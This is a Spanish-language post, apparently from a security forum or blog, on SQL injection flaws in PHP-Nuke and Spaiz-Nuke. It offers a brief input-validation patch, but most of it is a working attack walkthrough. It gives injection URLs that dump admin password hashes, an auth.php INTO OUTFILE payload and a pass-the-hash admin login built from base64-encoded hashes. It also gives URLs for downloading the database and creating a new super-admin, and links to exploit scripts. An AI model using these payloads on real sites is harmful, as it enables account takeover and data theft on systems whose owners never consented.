En muchos sitios esta dando vuelta la noticia de una nueva falla en el PHP-Nuke,
que permite tomar el control de todo el sistema.
Pero hay cosas que muchos no tiene claro todavia, por eso aqui las explico, y
doy mas detalles sobre el tema.....
Te puede descargar los archivos ya modificados AQUÌ
Dale a leer mas
Primero: La falla NO es en el archivo modules.php, sino
que esta presente en los modulos Downloads y Weblinks, entre otros. El archivo
modules.php solo se encarga de incluir los archivos de cada modulo para que asi
la URL quede mas presentable.
Por eso el advisorie:
http://www.securityfocus.com/archive/1/340664
Esta mal desde un principio. Otra cosa para aclarar, que podriamos llamar:
Segundo: Esta falla no tiene nada de nueva, ya que es la misma
descubierta para las vesiones:
- PHP-Nuke 6.0
- PHP-Nuke 6.5 RC3
- PHP-Nuke 6.5 RC2
- PHP-Nuke 6.5 RC1
- PHP-Nuke 6.5 FINAL
- PHP-Nuke 6.5 BETA 1
- PHP-Nuke 6.5
- PHP-Nuke 6.5 with all patches ,
- PHP-Nuke 6.0 with all patches.
- PHP-Nuke 5.5 with all patches
Es por eso que insisto en que no es una nueva falla, ya que en las ultimas
versiones del PHP-Nuke se viene usando los mismo modulos de esas versiones
anteriormente citadas, y que no han sido parcheadas, por eso es que son
vulnerables todas las ultimas versiones del PHP-Nuke, hasta la 6.9,
segun he comprobado.
No son solo los modulos Downloads y WebLinks, sino todo aquel modulo o pagina
que no controle correctamente sus variables.
Una forma rapida y facil de solucionar esto es controlando el contenido de
las variables de la siguiente forma:
# $variable es la que debemos controlar, asi que cambia su nombre segun te convenga ;)
$variable = addslashes($variable);
if(!isset($variable) || $variable == NULL || !is_numeric ($variable))
{
Header("Location: index.php");
exit();
}
Inyección SQL en PHP-Nuke y Spaiz-Nuke
Eso en el caso de que deba ser numerica, sino basta con quitar el !is_numeric($variable)
de la condicion del IF.
Bueno me voy a dejar de dar vueltas y pasamos al tema de la explotacion de
las falla, que no solo sirve para hacer daño, sino que les permitira testear
sus sistemas y saber como solucionar este tipo de fallas.
Bueno, para poder ver los hashes de los admins, debemos hacer una pequeña
insercion de codigo SQL, en las variales $cid de los modulos en cuestion. Por
ejemplo:
Para el Modulo Download:
http://victima-nukeada/modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20
Para el Modulo WebLinks:
http://victima-nukeada/modules.php?name=Web_Links&l_op=viewlink&cid=2%20UNION%20select%20counter,%20pwd,%20aid%20FROM%20nuke_authors%20
Nota: Para que funcione en Spaiz-Nuke debes cambiar
nuke_authors por spnuke_authors
Vulnerabilidad en el archivo auth.php:
Esta vulnerabilidad se encuentra en el archivo auth.php, en la función que
comprueba el usuario y la contraseña (Según su descubridor, testeado en spaiz-nuke)
En concreto en la variable $aid, porque no se comprueba que el contenido de la
misma sea seguro. Mediante el uso de las '', es posible crear una URL como esta:
http://victima-nukeada/admin.php?op=login&pwd=123&aid=Admin'%20INTO%20OUTFILE%20'/path_to_file/pwd.txt
En este ejemplo se crea un archivo en /path_to_file/pwd.txt que contiene el
password (encriptado en MD5) del admin.
Accediendo con la contraseña encriptada:
Un atacante puede autentificarse en el PHP-Nuke incluso sin conocer el password
desencriptado.
El método es el siguiente:
Una vez que ya obtuvimos los hashes de los admins, ya sea explotando las
fallas en los modulos como en el auth.php, debemos codificar en base64 el
ususario y la contraseña obtenidos mediante la inyección SQL (o por cualquier
otro método).
Para pasarlo a base64 puedes utilizar cualquier codificador de base64 o puedes
hacerlo online en una web como esta:
http://www.isecurelabs.com/base64.php
http://www.rzw.com.ar/base64nuke.php ;)
Buscamos el equivalente en base64 de la siguiente linea:
login:crypt_.passwd:
donde login es el usuario y crypt_.passwd es la contraseña en MD5
Por ejemplo, con esta linea
admin:21232f297a57a5a743894a0e4a801fc3:
obtendriamos algo así:
YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
Ahora podemos acceder al panel del administrador usando una URL de este tipo:
http://victima-nukeada/admin.php?admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
Una vez dentro te daras cuenta que cuando quieres acceder a cada opcion del
panel de control te volvera a pedir el password, lo unico que tienes que hacer,
es copiar el enlace de la seccion a la que quieres ingresar y agregarle a dicha
URL los mismo que le pusiste al admin.php para ver el panel de administracion.
Por ejemplo:
Para bajarte la base de datos:
http://victima-nukeada/admin.php?op=backup&admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
Creando Admins:
Si queremos ahorrarnos el trabajo de andar colocando esos datos en la URL,
podemos crearnos un nuevo admin con el siguiente exploit escrito en Perl:
http://rst.void.ru/download/r57nuke.txt
Exploit en PHP en Rynho Zeros Web:
http://www.rzw.com.ar/xptnk.php (Usar con moderacion ;)
Puedes hacer esto tambien, mediante un enlace como el siguiente:
http://victima-nukeada/admin.php?op=AddAuthor&add_radminsuper=1&add_name=[Nick]&add_aid=[Nick]&add_email=[Email]&add_pwd=[Password]&admin=[Hash]
Nick corresponde al que tendra el nuevo admin, el email lo mismo, el password
debe ser colocado en texto plano no el hash, y el Hash, es el obtenido
utilizando alguno de los metodos anteriormente explicados y correspondiente al
admin del sitio, preferentemente el God (Admin Principal).
Basado en:
http://www.security.nnov.ru/search/document.asp?docid=5201
http://www.cyruxnet.com.ar/phpnuke_modules.htm
Aclaracion: Este articulo esta basado en el que Cyruxnet
publico en su web, pero se ha modificado para aclarar ciertos puntos, y agregar
otros. Ademas, este texto es con fines didácticos, no nos hacemos responsables
del mal uso que se haga de lo aquí explicado.
Por CATOSINO